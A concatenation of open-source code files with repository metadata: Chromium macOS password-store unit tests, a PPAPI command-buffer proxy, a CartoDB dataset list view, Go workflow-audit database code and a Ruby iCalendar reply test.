EXPECT_TRUE(merged_forms[2]->blacklisted_by_user); STLDeleteElements(&database_forms); STLDeleteElements(&merged_forms); } TEST_F(PasswordStoreMacInternalsTest, TestBlacklistedFiltering) { PasswordFormData db_data[] = { { PasswordForm::SCHEME_HTML, "http://dont.remember.com/", "http://dont.remember.com/", "http://dont.remember.com/handlepage.cgi", L"submit", L"username", L"password", L"joe_user", L"non_empty_password", true, false, 1240000000 }, { PasswordForm::SCHEME_HTML, "https://dont.remember.com/", "https://dont.remember.com/", "https://dont.remember.com/handlepage_secure.cgi", L"submit", L"username", L"password", L"joe_user", L"non_empty_password", true, false, 1240000000 }, }; std::vector<PasswordForm*> database_forms; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(db_data); ++i) { database_forms.push_back(CreatePasswordFormFromData(db_data[i])); } std::vector<PasswordForm*> merged_forms = internal_keychain_helpers::GetPasswordsForForms(*keychain_, &database_forms); EXPECT_EQ(2U, database_forms.size()); ASSERT_EQ(0U, merged_forms.size()); STLDeleteElements(&database_forms); STLDeleteElements(&merged_forms); } TEST_F(PasswordStoreMacInternalsTest, TestFillPasswordFormFromKeychainItem) { // When |extract_password_data| is false, the password field must be empty, // and |blacklisted_by_user| must be false. SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(1); PasswordForm form_without_extracted_password; bool parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form_without_extracted_password, false); // Do not extract password. EXPECT_TRUE(parsed); ASSERT_TRUE(form_without_extracted_password.password_value.empty()); ASSERT_FALSE(form_without_extracted_password.blacklisted_by_user); // When |extract_password_data| is true and the keychain entry has a non-empty // password, the password field must be non-empty, and the value of // |blacklisted_by_user| must be false. keychain_item = reinterpret_cast<SecKeychainItemRef>(1); PasswordForm form_with_extracted_password; parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form_with_extracted_password, true); // Extract password. EXPECT_TRUE(parsed); ASSERT_EQ(ASCIIToUTF16("sekrit"), form_with_extracted_password.password_value); ASSERT_FALSE(form_with_extracted_password.blacklisted_by_user); // When |extract_password_data| is true and the keychain entry has an empty // username and password (""), the password field must be empty, and the value // of |blacklisted_by_user| must be true. keychain_item = reinterpret_cast<SecKeychainItemRef>(4); PasswordForm negative_form; parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &negative_form, true); // Extract password. EXPECT_TRUE(parsed); ASSERT_TRUE(negative_form.username_value.empty()); ASSERT_TRUE(negative_form.password_value.empty()); ASSERT_TRUE(negative_form.blacklisted_by_user); // When |extract_password_data| is true and the keychain entry has an empty // password (""), the password field must be empty (""), and the value of // |blacklisted_by_user| must be true. keychain_item = reinterpret_cast<SecKeychainItemRef>(5); PasswordForm form_with_empty_password_a; parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form_with_empty_password_a, true); // Extract password. EXPECT_TRUE(parsed); ASSERT_TRUE(form_with_empty_password_a.password_value.empty()); ASSERT_TRUE(form_with_empty_password_a.blacklisted_by_user); // When |extract_password_data| is true and the keychain entry has a single // space password (" "), the password field must be a single space (" "), and // the value of |blacklisted_by_user| must be true. keychain_item = reinterpret_cast<SecKeychainItemRef>(6); PasswordForm form_with_empty_password_b; parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem( *keychain_, keychain_item, &form_with_empty_password_b, true); // Extract password. EXPECT_TRUE(parsed); ASSERT_EQ(ASCIIToUTF16(" "), form_with_empty_password_b.password_value); ASSERT_TRUE(form_with_empty_password_b.blacklisted_by_user); } TEST_F(PasswordStoreMacInternalsTest, TestPasswordGetAll) { MacKeychainPasswordFormAdapter keychain_adapter(keychain_); MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); // Add a few passwords of various types so that we own some. PasswordFormData owned_password_data[] = { { PasswordForm::SCHEME_HTML, "http://web.site.com/", "http://web.site.com/path/to/page.html", NULL, NULL, NULL, NULL, L"anonymous", L"knock-knock", false, false, 0 }, { PasswordForm::SCHEME_BASIC, "http://a.site.com:2222/therealm", "http://a.site.com:2222/", NULL, NULL, NULL, NULL, L"username", L"password", false, false, 0 }, { PasswordForm::SCHEME_DIGEST, "https://digest.site.com/differentrealm", "https://digest.site.com/secure.html", NULL, NULL, NULL, NULL, L"testname", L"testpass", false, false, 0 }, }; for (unsigned int i = 0; i < arraysize(owned_password_data); ++i) { scoped_ptr<PasswordForm> form(CreatePasswordFormFromData( owned_password_data[i])); owned_keychain_adapter.AddPassword(*form); } std::vector<PasswordForm*> all_passwords = keychain_adapter.GetAllPasswordFormPasswords(); EXPECT_EQ(8 + arraysize(owned_password_data), all_passwords.size()); STLDeleteElements(&all_passwords); std::vector<PasswordForm*> owned_passwords = owned_keychain_adapter.GetAllPasswordFormPasswords(); EXPECT_EQ(arraysize(owned_password_data), owned_passwords.size()); STLDeleteElements(&owned_passwords); } #pragma mark - class PasswordStoreMacTest : public testing::Test { public: PasswordStoreMacTest() : ui_thread_(BrowserThread::UI, &message_loop_) {} virtual void SetUp() { login_db_ = new LoginDatabase(); ASSERT_TRUE(db_dir_.CreateUniqueTempDir()); base::FilePath db_file = db_dir_.path().AppendASCII("login.db"); ASSERT_TRUE(login_db_->Init(db_file)); keychain_ = new MockAppleKeychain(); store_ = new TestPasswordStoreMac( base::MessageLoopProxy::current(), base::MessageLoopProxy::current(), keychain_, login_db_); ASSERT_TRUE(store_->Init(syncer::SyncableService::StartSyncFlare())); } virtual void TearDown() { store_->Shutdown(); EXPECT_FALSE(store_->GetBackgroundTaskRunner()); } void WaitForStoreUpdate() { // Do a store-level query to wait for all the operations above to be done. MockPasswordStoreConsumer consumer; EXPECT_CALL(consumer, OnGetPasswordStoreResults(_)) .WillOnce(DoAll(WithArg<0>(STLDeleteElements0()), QuitUIMessageLoop())); store_->GetLogins(PasswordForm(), PasswordStore::ALLOW_PROMPT, &consumer); base::MessageLoop::current()->Run(); } protected: base::MessageLoopForUI message_loop_; content::TestBrowserThread ui_thread_; MockAppleKeychain* keychain_; // Owned by store_. LoginDatabase* login_db_; // Owned by store_. scoped_refptr<TestPasswordStoreMac> store_; base::ScopedTempDir db_dir_; }; TEST_F(PasswordStoreMacTest, TestStoreUpdate) { // Insert a password into both the database and the keychain. // This is done manually, rather than through store_->AddLogin, because the // Mock Keychain isn't smart enough to be able to support update generically, // so some.domain.com triggers special handling to test it that make inserting // fail. PasswordFormData joint_data = { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", "login.cgi", L"username", L"password", L"submit", L"joe_user", L"sekrit", true, false, 1 }; scoped_ptr<PasswordForm> joint_form(CreatePasswordFormFromData(joint_data)); login_db_->AddLogin(*joint_form); MockAppleKeychain::KeychainTestData joint_keychain_data = { kSecAuthenticationTypeHTMLForm, "some.domain.com", kSecProtocolTypeHTTP, "/insecure.html", 0, NULL, "20020601171500Z", "joe_user", "sekrit", false }; keychain_->AddTestItem(joint_keychain_data); // Insert a password into the keychain only. MockAppleKeychain::KeychainTestData keychain_only_data = { kSecAuthenticationTypeHTMLForm, "keychain.only.com", kSecProtocolTypeHTTP, NULL, 0, NULL, "20020601171500Z", "keychain", "only", false }; keychain_->AddTestItem(keychain_only_data); struct UpdateData { PasswordFormData form_data; const char* password; // NULL indicates no entry should be present. }; // Make a series of update calls. UpdateData updates[] = { // Update the keychain+db passwords (the normal password update case). { { PasswordForm::SCHEME_HTML, "http://some.domain.com/", "http://some.domain.com/insecure.html", "login.cgi", L"username", L"password", L"submit", L"joe_user", L"53krit", true, false, 2 }, "53krit", }, // Update the keychain-only password; this simulates the initial use of a // password stored by another browsers. { { PasswordForm::SCHEME_HTML, "http://keychain.only.com/", "http://keychain.only.com/login.html", "login.cgi", L"username", L"password", L"submit", L"keychain", L"only", true, false, 2 }, "only", }, // Update a password that doesn't exist in either location. This tests the // case where a form is filled, then the stored login is removed, then the // form is submitted. { { PasswordForm::SCHEME_HTML, "http://different.com/", "http://different.com/index.html", "login.cgi", L"username", L"password", L"submit", L"abc", L"123", true, false, 2 }, NULL, }, }; for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(updates); ++i) { scoped_ptr<PasswordForm> form(CreatePasswordFormFromData( updates[i].form_data)); store_->UpdateLogin(*form); } WaitForStoreUpdate(); MacKeychainPasswordFormAdapter keychain_adapter(keychain_); for (unsigned int i = 0; i < ARRAYSIZE_UNSAFE(updates); ++i) { scoped_ptr<PasswordForm> query_form( CreatePasswordFormFromData(updates[i].form_data)); std::vector<PasswordForm*> matching_items = keychain_adapter.PasswordsFillingForm(query_form->signon_realm, query_form->scheme); if (updates[i].password) { EXPECT_GT(matching_items.size(), 0U) << "iteration " << i; if (matching_items.size() >= 1) EXPECT_EQ(ASCIIToUTF16(updates[i].password), matching_items[0]->password_value) << "iteration " << i; } else { EXPECT_EQ(0U, matching_items.size()) << "iteration " << i; } STLDeleteElements(&matching_items); login_db_->GetLogins(*query_form, &matching_items); EXPECT_EQ(updates[i].password ? 1U : 0U, matching_items.size()) << "iteration " << i; STLDeleteElements(&matching_items); } } TEST_F(PasswordStoreMacTest, TestDBKeychainAssociation) { // Tests that association between the keychain and login database parts of a // password added by fuzzy (PSL) matching works. // 1. Add a password for www.facebook.com // 2. Get a password for m.facebook.com. This fuzzy matches and returns the // www.facebook.com password. // 3. Add the returned password for m.facebook.com. // 4. Remove both passwords. // -> check: that both are gone from the login DB and the keychain // This test should in particular ensure that we don't keep passwords in the // keychain just before we think we still have other (fuzzy-)matching entries // for them in the login database. (For example, here if we deleted the // www.facebook.com password from the login database, we should not be blocked // from deleting it from the keystore just becaus the m.facebook.com password // fuzzy-matches the www.facebook.com one.) // 1. Add a password for www.facebook.com PasswordFormData www_form_data = { PasswordForm::SCHEME_HTML, "http://www.facebook.com/", "http://www.facebook.com/index.html", "login", L"username", L"password", L"submit", L"joe_user", L"sekrit", true, false, 1 }; scoped_ptr<PasswordForm> www_form(CreatePasswordFormFromData(www_form_data)); login_db_->AddLogin(*www_form); MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_); owned_keychain_adapter.SetFindsOnlyOwnedItems(true); owned_keychain_adapter.AddPassword(*www_form); // 2. Get a password for m.facebook.com. PasswordForm m_form(*www_form); m_form.signon_realm = "http://m.facebook.com"; m_form.origin = GURL("http://m.facebook.com/index.html"); MockPasswordStoreConsumer consumer; EXPECT_CALL(consumer, OnGetPasswordStoreResults(_)).WillOnce(DoAll( WithArg<0>(Invoke(&consumer, &MockPasswordStoreConsumer::CopyElements)), WithArg<0>(STLDeleteElements0()), QuitUIMessageLoop())); store_->GetLogins(m_form, PasswordStore::ALLOW_PROMPT, &consumer); base::MessageLoop::current()->Run(); EXPECT_EQ(1u, consumer.last_result.size()); // 3. Add the returned password for m.facebook.com. login_db_->AddLogin(consumer.last_result[0]); owned_keychain_adapter.AddPassword(m_form); // 4. Remove both passwords. store_->RemoveLogin(*www_form); store_->RemoveLogin(m_form); WaitForStoreUpdate(); std::vector<PasswordForm*> matching_items; // No trace of www.facebook.com. matching_items = owned_keychain_adapter.PasswordsFillingForm( www_form->signon_realm, www_form->scheme); EXPECT_EQ(0u, matching_items.size()); login_db_->GetLogins(*www_form, &matching_items); EXPECT_EQ(0u, matching_items.size()); // No trace of m.facebook.com. matching_items = owned_keychain_adapter.PasswordsFillingForm( m_form.signon_realm, m_form.scheme); EXPECT_EQ(0u, matching_items.size()); login_db_->GetLogins(m_form, &matching_items); EXPECT_EQ(0u, matching_items.size()); }
patrickm/chromium.src
chrome/browser/password_manager/password_store_mac_unittest.cc
C++
bsd-3-clause
53,108
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ppapi/proxy/ppapi_command_buffer_proxy.h" #include "base/numerics/safe_conversions.h" #include "ppapi/proxy/ppapi_messages.h" #include "ppapi/shared_impl/api_id.h" #include "ppapi/shared_impl/host_resource.h" #include "ppapi/shared_impl/proxy_lock.h" namespace ppapi { namespace proxy { PpapiCommandBufferProxy::PpapiCommandBufferProxy( const ppapi::HostResource& resource, PluginDispatcher* dispatcher, const gpu::Capabilities& capabilities, const SerializedHandle& shared_state, uint64_t command_buffer_id) : command_buffer_id_(command_buffer_id), capabilities_(capabilities), resource_(resource), dispatcher_(dispatcher), next_fence_sync_release_(1), pending_fence_sync_release_(0), flushed_fence_sync_release_(0) { shared_state_shm_.reset( new base::SharedMemory(shared_state.shmem(), false)); shared_state_shm_->Map(shared_state.size()); InstanceData* data = dispatcher->GetInstanceData(resource.instance()); flush_info_ = &data->flush_info_; } PpapiCommandBufferProxy::~PpapiCommandBufferProxy() { // gpu::Buffers are no longer referenced, allowing shared memory objects to be // deleted, closing the handle in this process. } bool PpapiCommandBufferProxy::Initialize() { return true; } gpu::CommandBuffer::State PpapiCommandBufferProxy::GetLastState() { ppapi::ProxyLock::AssertAcquiredDebugOnly(); return last_state_; } int32 PpapiCommandBufferProxy::GetLastToken() { ppapi::ProxyLock::AssertAcquiredDebugOnly(); TryUpdateState(); return last_state_.token; } void PpapiCommandBufferProxy::Flush(int32 put_offset) { if (last_state_.error != gpu::error::kNoError) return; OrderingBarrier(put_offset); FlushInternal(); } void PpapiCommandBufferProxy::OrderingBarrier(int32 put_offset) { if (last_state_.error != gpu::error::kNoError) return; if (flush_info_->flush_pending && flush_info_->resource != resource_) { FlushInternal(); } flush_info_->flush_pending = true; flush_info_->resource = resource_; flush_info_->put_offset = put_offset; pending_fence_sync_release_ = next_fence_sync_release_ - 1; } void PpapiCommandBufferProxy::WaitForTokenInRange(int32 start, int32 end) { TryUpdateState(); if (!InRange(start, end, last_state_.token) && last_state_.error == gpu::error::kNoError) { bool success = false; gpu::CommandBuffer::State state; if (Send(new PpapiHostMsg_PPBGraphics3D_WaitForTokenInRange( ppapi::API_ID_PPB_GRAPHICS_3D, resource_, start, end, &state, &success))) UpdateState(state, success); } DCHECK(InRange(start, end, last_state_.token) || last_state_.error != gpu::error::kNoError); } void PpapiCommandBufferProxy::WaitForGetOffsetInRange(int32 start, int32 end) { TryUpdateState(); if (!InRange(start, end, last_state_.get_offset) && last_state_.error == gpu::error::kNoError) { bool success = false; gpu::CommandBuffer::State state; if (Send(new PpapiHostMsg_PPBGraphics3D_WaitForGetOffsetInRange( ppapi::API_ID_PPB_GRAPHICS_3D, resource_, start, end, &state, &success))) UpdateState(state, success); } DCHECK(InRange(start, end, last_state_.get_offset) || last_state_.error != gpu::error::kNoError); } void PpapiCommandBufferProxy::SetGetBuffer(int32 transfer_buffer_id) { if (last_state_.error == gpu::error::kNoError) { Send(new PpapiHostMsg_PPBGraphics3D_SetGetBuffer( ppapi::API_ID_PPB_GRAPHICS_3D, resource_, transfer_buffer_id)); } } scoped_refptr<gpu::Buffer> PpapiCommandBufferProxy::CreateTransferBuffer( size_t size, int32* id) { *id = -1; if (last_state_.error != gpu::error::kNoError) return NULL; // Assuming we are in the renderer process, the service is responsible for // duplicating the handle. This might not be true for NaCl. ppapi::proxy::SerializedHandle handle( ppapi::proxy::SerializedHandle::SHARED_MEMORY); if (!Send(new PpapiHostMsg_PPBGraphics3D_CreateTransferBuffer( ppapi::API_ID_PPB_GRAPHICS_3D, resource_, base::checked_cast<uint32_t>(size), id, &handle))) { if (last_state_.error == gpu::error::kNoError) last_state_.error = gpu::error::kLostContext; return NULL; } if (*id <= 0 || !handle.is_shmem()) { if (last_state_.error == gpu::error::kNoError) last_state_.error = gpu::error::kOutOfBounds; return NULL; } scoped_ptr<base::SharedMemory> shared_memory( new base::SharedMemory(handle.shmem(), false)); // Map the shared memory on demand. if (!shared_memory->memory()) { if (!shared_memory->Map(handle.size())) { if (last_state_.error == gpu::error::kNoError) last_state_.error = gpu::error::kOutOfBounds; *id = -1; return NULL; } } return gpu::MakeBufferFromSharedMemory(shared_memory.Pass(), handle.size()); } void PpapiCommandBufferProxy::DestroyTransferBuffer(int32 id) { if (last_state_.error != gpu::error::kNoError) return; Send(new PpapiHostMsg_PPBGraphics3D_DestroyTransferBuffer( ppapi::API_ID_PPB_GRAPHICS_3D, resource_, id)); } void PpapiCommandBufferProxy::SetLock(base::Lock*) { NOTIMPLEMENTED(); } bool PpapiCommandBufferProxy::IsGpuChannelLost() { NOTIMPLEMENTED(); return false; } gpu::CommandBufferNamespace PpapiCommandBufferProxy::GetNamespaceID() const { return gpu::CommandBufferNamespace::GPU_IO; } uint64_t PpapiCommandBufferProxy::GetCommandBufferID() const { return command_buffer_id_; } uint64_t PpapiCommandBufferProxy::GenerateFenceSyncRelease() { return next_fence_sync_release_++; } bool PpapiCommandBufferProxy::IsFenceSyncRelease(uint64_t release) { return release != 0 && release < next_fence_sync_release_; } bool PpapiCommandBufferProxy::IsFenceSyncFlushed(uint64_t release) { return release <= flushed_fence_sync_release_; } bool PpapiCommandBufferProxy::IsFenceSyncFlushReceived(uint64_t release) { return IsFenceSyncFlushed(release); } void PpapiCommandBufferProxy::SignalSyncToken(const gpu::SyncToken& sync_token, const base::Closure& callback) { NOTIMPLEMENTED(); } bool PpapiCommandBufferProxy::CanWaitUnverifiedSyncToken( const gpu::SyncToken* sync_token) { return false; } uint32 PpapiCommandBufferProxy::InsertSyncPoint() { uint32 sync_point = 0; if (last_state_.error == gpu::error::kNoError) { Send(new PpapiHostMsg_PPBGraphics3D_InsertSyncPoint( ppapi::API_ID_PPB_GRAPHICS_3D, resource_, &sync_point)); } return sync_point; } uint32 PpapiCommandBufferProxy::InsertFutureSyncPoint() { uint32 sync_point = 0; if (last_state_.error == gpu::error::kNoError) { Send(new PpapiHostMsg_PPBGraphics3D_InsertFutureSyncPoint( ppapi::API_ID_PPB_GRAPHICS_3D, resource_, &sync_point)); } return sync_point; } void PpapiCommandBufferProxy::RetireSyncPoint(uint32 sync_point) { if (last_state_.error == gpu::error::kNoError) { Send(new PpapiHostMsg_PPBGraphics3D_RetireSyncPoint( ppapi::API_ID_PPB_GRAPHICS_3D, resource_, sync_point)); } } void PpapiCommandBufferProxy::SignalSyncPoint(uint32 sync_point, const base::Closure& callback) { NOTREACHED(); } void PpapiCommandBufferProxy::SignalQuery(uint32 query, const base::Closure& callback) { NOTREACHED(); } gpu::Capabilities PpapiCommandBufferProxy::GetCapabilities() { return capabilities_; } int32 PpapiCommandBufferProxy::CreateImage(ClientBuffer buffer, size_t width, size_t height, unsigned internalformat) { NOTREACHED(); return -1; } void PpapiCommandBufferProxy::DestroyImage(int32 id) { NOTREACHED(); } int32 PpapiCommandBufferProxy::CreateGpuMemoryBufferImage( size_t width, size_t height, unsigned internalformat, unsigned usage) { NOTREACHED(); return -1; } bool PpapiCommandBufferProxy::Send(IPC::Message* msg) { DCHECK(last_state_.error == gpu::error::kNoError); // We need to hold the Pepper proxy lock for sync IPC, because the GPU command // buffer may use a sync IPC with another lock held which could lead to lock // and deadlock if we dropped the proxy lock here. // http://crbug.com/418651 if (dispatcher_->SendAndStayLocked(msg)) return true; last_state_.error = gpu::error::kLostContext; return false; } void PpapiCommandBufferProxy::UpdateState( const gpu::CommandBuffer::State& state, bool success) { // Handle wraparound. It works as long as we don't have more than 2B state // updates in flight across which reordering occurs. if (success) { if (state.generation - last_state_.generation < 0x80000000U) { last_state_ = state; } } else { last_state_.error = gpu::error::kLostContext; ++last_state_.generation; } } void PpapiCommandBufferProxy::TryUpdateState() { if (last_state_.error == gpu::error::kNoError) shared_state()->Read(&last_state_); } gpu::CommandBufferSharedState* PpapiCommandBufferProxy::shared_state() const { return reinterpret_cast<gpu::CommandBufferSharedState*>( shared_state_shm_->memory()); } void PpapiCommandBufferProxy::FlushInternal() { DCHECK(last_state_.error == gpu::error::kNoError); DCHECK(flush_info_->flush_pending); DCHECK_GE(pending_fence_sync_release_, flushed_fence_sync_release_); IPC::Message* message = new PpapiHostMsg_PPBGraphics3D_AsyncFlush( ppapi::API_ID_PPB_GRAPHICS_3D, flush_info_->resource, flush_info_->put_offset); // Do not let a synchronous flush hold up this message. If this handler is // deferred until after the synchronous flush completes, it will overwrite the // cached last_state_ with out-of-date data. message->set_unblock(true); Send(message); flush_info_->flush_pending = false; flush_info_->resource.SetHostResource(0, 0); flushed_fence_sync_release_ = pending_fence_sync_release_; } } // namespace proxy } // namespace ppapi
Workday/OpenFrame
ppapi/proxy/ppapi_command_buffer_proxy.cc
C++
bsd-3-clause
10,421
var cdb = require('cartodb.js'); var $ = require('jquery'); var DatasetItem = require('./dataset_item_view'); var Utils = require('cdb.Utils'); var UploadConfig = require('../../../../background_importer/upload_config'); var pluralizeString = require('../../../../view_helpers/pluralize_string'); /** * Remote dataset item view * */ module.exports = DatasetItem.extend({ tagName: 'li', className: 'DatasetsList-item', events: { 'click .js-tag-link': '_onTagClick', 'click': '_toggleSelected' }, initialize: function() { this.elder('initialize'); this.template = cdb.templates.getTemplate('common/views/create/listing/remote_dataset_item'); this.table = new cdb.admin.CartoDBTableMetadata(this.model.get('external_source')); }, render: function() { var vis = this.model; var table = this.table; var tags = vis.get('tags') || []; var description = vis.get('description') && Utils.stripHTML(markdown.toHTML(vis.get('description'))) || ''; var source = vis.get('source') && markdown.toHTML(vis.get('source')) || ''; var d = { isRaster: vis.get('kind') === 'raster', geometryType: table.geomColumnTypes().length > 0 ? table.geomColumnTypes()[0] : '', title: vis.get('name'), source: source, description: description, timeDiff: moment(vis.get('updated_at')).fromNow(), tags: tags, tagsCount: tags.length, routerModel: this.routerModel, maxTagsToShow: 3, canImportDataset: this._canImportDataset(), rowCount: undefined, datasetSize: undefined }; var rowCount = table.get('row_count'); if (rowCount >= 0) { d.rowCount = ( rowCount < 10000 ? Utils.formatNumber(rowCount) : Utils.readizableNumber(rowCount) ); d.pluralizedRows = pluralizeString('Row', rowCount); } var datasetSize = table.get('size'); if (datasetSize >= 0) { d.datasetSize = Utils.readablizeBytes(datasetSize, true); } this.$el.html(this.template(d)); this._setItemClasses(); this._renderTooltips(); return this; }, _setItemClasses: function() { // Item selected? this.$el[ this.model.get('selected') ? 'addClass' : 'removeClass' ]('is--selected'); // Check if it is selectable this.$el[ this._canImportDataset() ? 'addClass' : 'removeClass' ]('DatasetsList-item--selectable'); // Check if it is importable this.$el[ this._canImportDataset() ? 'removeClass' : 'addClass' ]('DatasetsList-item--banned'); }, _renderTooltips: function() { this.addView( new cdb.common.TipsyTooltip({ el: this.$('.DatasetsList-itemStatus'), title: function(e) { return $(this).attr('data-title') } }) ) }, _onTagClick: function(ev) { if (ev) { this.killEvent(ev); } var tag = $(ev.target).val(); if (tag) { this.routerModel.set({ tag: tag, library: true }); } }, _canImportDataset: function() { return ( this.user.get('remaining_byte_quota') * UploadConfig.fileTimesBigger ) >= ( this.table.get('size') || 0 ) }, _toggleSelected: function(ev) { // Let links use default behaviour if (ev.target.tagName !== 'A') { this.killEvent(ev); if (this._canImportDataset() && this.options.createModel.canSelect(this.model)) { this.model.set('selected', !this.model.get('selected')); } } } });
raquel-ucl/cartodb
lib/assets/javascripts/cartodb/common/dialogs/create/listing/datasets/remote_dataset_item_view.js
JavaScript
bsd-3-clause
3,614
<?php namespace bug_010498195; class True { }
manuelpichler/staticReflection
src/test/resources/files/regression/010498195/True.php
PHP
bsd-3-clause
50
package workflow import ( "github.com/go-gorp/gorp" "github.com/ovh/cds/sdk" ) // InsertAudit insert a workflow audit func InsertAudit(db gorp.SqlExecutor, a *sdk.AuditWorkflow) error { audit := auditWorkflow(*a) if err := db.Insert(&audit); err != nil { return sdk.WrapError(err, "Unable to insert audit") } a.ID = audit.ID return nil } // LoadAudits Load audits for the given workflow func LoadAudits(db gorp.SqlExecutor, workflowID int64) ([]sdk.AuditWorkflow, error) { query := ` SELECT * FROM workflow_audit WHERE workflow_id = $1 ORDER BY created DESC ` var audits []auditWorkflow if _, err := db.Select(&audits, query, workflowID); err != nil { return nil, sdk.WrapError(err, "Unable to load audits") } workflowAudits := make([]sdk.AuditWorkflow, len(audits)) for i := range audits { workflowAudits[i] = sdk.AuditWorkflow(audits[i]) } return workflowAudits, nil } // LoadAudit Load audit for the given workflow func LoadAudit(db gorp.SqlExecutor, auditID int64, workflowID int64) (sdk.AuditWorkflow, error) { var audit auditWorkflow if err := db.SelectOne(&audit, "SELECT * FROM workflow_audit WHERE id = $1 AND workflow_id = $2", auditID, workflowID); err != nil { return sdk.AuditWorkflow{}, sdk.WrapError(err, "Unable to load audit") } return sdk.AuditWorkflow(audit), nil }
ovh/cds
engine/api/workflow/dao_audit.go
GO
bsd-3-clause
1,322
require 'test_helper' require 'v_object/i_tip/broker_tester' module Tilia module VObject class BrokerProcessReplyTest < ITip::BrokerTester def test_reply_no_original itip = <<ICS BEGIN:VCALENDAR VERSION:2.0 METHOD:REPLY BEGIN:VEVENT SEQUENCE:2 UID:foobar ATTENDEE;PARTSTAT=ACCEPTED:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS old = nil expected = nil process(itip, old, expected) end def test_reply_accept itip = <<ICS BEGIN:VCALENDAR VERSION:2.0 METHOD:REPLY BEGIN:VEVENT ATTENDEE;PARTSTAT=ACCEPTED:mailto:foo@example.org ORGANIZER:mailto:bar@example.org SEQUENCE:2 UID:foobar END:VEVENT END:VCALENDAR ICS old = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar ATTENDEE:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS expected = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar ATTENDEE;PARTSTAT=ACCEPTED;SCHEDULE-STATUS=2.0:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS process(itip, old, expected) end def test_reply_request_status itip = <<ICS BEGIN:VCALENDAR VERSION:2.0 METHOD:REPLY BEGIN:VEVENT UID:foobar REQUEST-STATUS:2.3;foo-bar! ATTENDEE;PARTSTAT=ACCEPTED:mailto:foo@example.org ORGANIZER:mailto:bar@example.org SEQUENCE:2 UID:foobar END:VEVENT END:VCALENDAR ICS old = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT UID:foobar SEQUENCE:2 ATTENDEE:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS expected = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT UID:foobar SEQUENCE:2 ATTENDEE;PARTSTAT=ACCEPTED;SCHEDULE-STATUS=2.3:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS process(itip, old, expected) end def test_reply_party_crasher itip = <<ICS BEGIN:VCALENDAR VERSION:2.0 METHOD:REPLY BEGIN:VEVENT ATTENDEE;PARTSTAT=ACCEPTED:mailto:crasher@example.org ORGANIZER:mailto:bar@example.org SEQUENCE:2 UID:foobar END:VEVENT END:VCALENDAR ICS old = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar ATTENDEE:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS expected = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar ATTENDEE:mailto:foo@example.org ORGANIZER:mailto:bar@example.org ATTENDEE;PARTSTAT=ACCEPTED:mailto:crasher@example.org END:VEVENT END:VCALENDAR ICS process(itip, old, expected) end def test_reply_new_exception # This is a reply to 1 instance of a recurring event. This should # automatically create an exception. itip = <<ICS BEGIN:VCALENDAR VERSION:2.0 METHOD:REPLY BEGIN:VEVENT ATTENDEE;PARTSTAT=ACCEPTED:mailto:foo@example.org ORGANIZER:mailto:bar@example.org SEQUENCE:2 RECURRENCE-ID:20140725T000000Z UID:foobar END:VEVENT END:VCALENDAR ICS old = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar RRULE:FREQ=DAILY DTSTART:20140724T000000Z DTEND:20140724T010000Z ATTENDEE:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS expected = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar RRULE:FREQ=DAILY DTSTART:20140724T000000Z DTEND:20140724T010000Z ATTENDEE:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT BEGIN:VEVENT SEQUENCE:2 UID:foobar DTSTART:20140725T000000Z DTEND:20140725T010000Z ATTENDEE;PARTSTAT=ACCEPTED:mailto:foo@example.org ORGANIZER:mailto:bar@example.org RECURRENCE-ID:20140725T000000Z END:VEVENT END:VCALENDAR ICS process(itip, old, expected) end def test_reply_new_exception_tz # This is a reply to 1 instance of a recurring event. This should # automatically create an exception. itip = <<ICS BEGIN:VCALENDAR VERSION:2.0 METHOD:REPLY BEGIN:VEVENT ATTENDEE;PARTSTAT=ACCEPTED:mailto:foo@example.org ORGANIZER:mailto:bar@example.org SEQUENCE:2 RECURRENCE-ID;TZID=America/Toronto:20140725T000000 UID:foobar END:VEVENT END:VCALENDAR ICS old = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar RRULE:FREQ=DAILY DTSTART;TZID=America/Toronto:20140724T000000 DTEND;TZID=America/Toronto:20140724T010000 ATTENDEE:mailto:foo@example.org ORGANIZER:mailto:bar@example.org END:VEVENT END:VCALENDAR ICS expected = <<ICS BEGIN:VCALENDAR VERSION:2.0 BEGIN:VEVENT SEQUENCE:2 UID:foobar RRULE:FREQ=DAILY 